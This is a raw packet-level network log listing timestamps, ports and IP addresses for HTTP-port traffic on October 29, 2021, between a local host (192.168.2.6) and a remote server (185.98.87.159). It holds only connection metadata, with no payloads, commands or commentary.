Oct 29, 2021 17:55:19.087488890 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087558031 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087575912 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087594032 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087610960 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087626934 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087630987 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.087683916 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.087694883 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087712049 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087783098 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.133203983 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.133233070 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.133249998 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.133265972 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.133282900 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.133301020 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.133301020 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.133330107 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.133352041 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.138828039 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.138851881 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.138864994 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.138880968 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.138950109 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.138982058 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139015913 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139034033 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139058113 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139111996 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139120102 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139154911 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139158964 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139172077 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139188051 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139261961 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139285088 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139298916 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139352083 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139410973 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139434099 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139455080 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139473915 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139477968 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139498949 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139514923 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139534950 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139554977 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139559031 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139616013 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139627934 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139652014 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.139707088 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.139854908 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.191885948 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.428240061 CEST	49779	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.480499983 CEST	80	49779	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.480595112 CEST	49779	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.480714083 CEST	49779	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.480722904 CEST	49779	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.532684088 CEST	80	49779	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.562592983 CEST	80	49779	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.562869072 CEST	49779	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.562897921 CEST	49779	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.607156992 CEST	49782	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.615586996 CEST	80	49779	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.660479069 CEST	80	49782	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.660669088 CEST	49782	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.662900925 CEST	49782	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.663022041 CEST	49782	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.717015982 CEST	80	49782	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.746149063 CEST	80	49782	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.746776104 CEST	49782	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.746851921 CEST	49782	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.793226004 CEST	49784	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.801229954 CEST	80	49782	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.847007036 CEST	80	49784	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.847158909 CEST	49784	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.847351074 CEST	49784	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.847378016 CEST	49784	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.931469917 CEST	80	49784	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:20.931606054 CEST	49784	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.942287922 CEST	49784	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.974241972 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:20.995938063 CEST	80	49784	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.027728081 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.027997017 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.028136969 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.028153896 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.112776995 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.112829924 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.112895012 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.112924099 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.112932920 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.112974882 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.113014936 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.113015890 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.113053083 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.113064051 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.113094091 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.113133907 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.113173962 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.113187075 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.113229036 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.166459084 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.166500092 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.166524887 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.166549921 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.166573048 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.166596889 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.166598082 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.166625023 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:21.166667938 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.166709900 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.166966915 CEST	49785	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:21.220072031 CEST	80	49785	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:22.871589899 CEST	49795	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:22.923319101 CEST	80	49795	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:22.924870014 CEST	49795	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:22.926029921 CEST	49795	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:22.926084042 CEST	49795	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:22.978492022 CEST	80	49795	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.006124973 CEST	80	49795	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.006223917 CEST	49795	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.006407022 CEST	49795	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.058022022 CEST	80	49795	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.544533968 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.597923994 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.598041058 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.598228931 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.598328114 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.651695967 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680356979 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680389881 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680414915 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680439949 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680444956 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.680464983 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680490017 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680506945 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.680538893 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.680557013 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680584908 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680612087 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680635929 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.680638075 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.680685043 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.733889103 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.733928919 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.733951092 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.733973026 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.733993053 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734005928 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.734015942 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734035969 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734055996 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734078884 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734100103 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734113932 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.734123945 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734158039 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734158039 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.734179974 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734200001 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734208107 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.734251976 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.734266043 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734287977 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734308004 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734332085 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.734360933 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734381914 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.734405041 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787513018 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787560940 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787581921 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787586927 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787616014 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787627935 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787642956 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787667990 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787681103 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787702084 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787724972 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787749052 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787749052 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787774086 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787800074 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787805080 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787826061 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787847996 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787852049 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787877083 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787900925 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787909031 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787925005 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787945986 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.787949085 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.787998915 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841135025 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841165066 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841187000 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841207981 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841229916 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841250896 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841272116 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841284037 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841293097 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841310978 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841329098 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841341972 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841351032 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841375113 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841396093 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841399908 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841422081 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841443062 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841444969 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841468096 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841490984 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841490984 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841533899 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841562986 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841588020 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841609001 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841624022 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.841665983 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.841696024 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.894936085 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.894968033 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.894979954 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.894995928 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895008087 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895025015 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895042896 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895060062 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895076036 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895088911 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895143986 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.895190001 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.895425081 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895442963 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895458937 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895474911 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895561934 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895581007 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895596027 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895612001 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895616055 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.895629883 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895646095 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895663023 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.895698071 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.895711899 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.895723104 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.948637009 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.948710918 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.948765993 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.948787928 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.948817968 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.948829889 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.948910952 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.948972940 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.948982000 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949024916 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949074984 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949078083 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949137926 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949197054 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949254036 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949295044 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949332952 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949371099 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949409962 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949449062 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949489117 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949528933 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949568987 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949606895 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949656963 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:23.949660063 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949729919 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949794054 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949800014 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949805975 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949811935 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:23.949816942 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.003036976 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003086090 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003124952 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003165007 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003245115 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.003314972 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.003751040 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003794909 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003834963 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003866911 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003891945 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.003895044 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003921032 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.003926039 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003957033 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003987074 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.003995895 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.004017115 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004051924 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004075050 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.004081011 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004115105 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004108906 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.004143953 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004159927 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.004173040 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004204035 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004224062 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.004231930 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004261971 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004280090 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.004290104 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004317999 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.004339933 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057060957 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057133913 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057179928 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057226896 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057229042 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057275057 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057413101 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057465076 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057492018 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057516098 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057559013 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057562113 CEST	80	49797	185.98.87.159	192.168.2.6
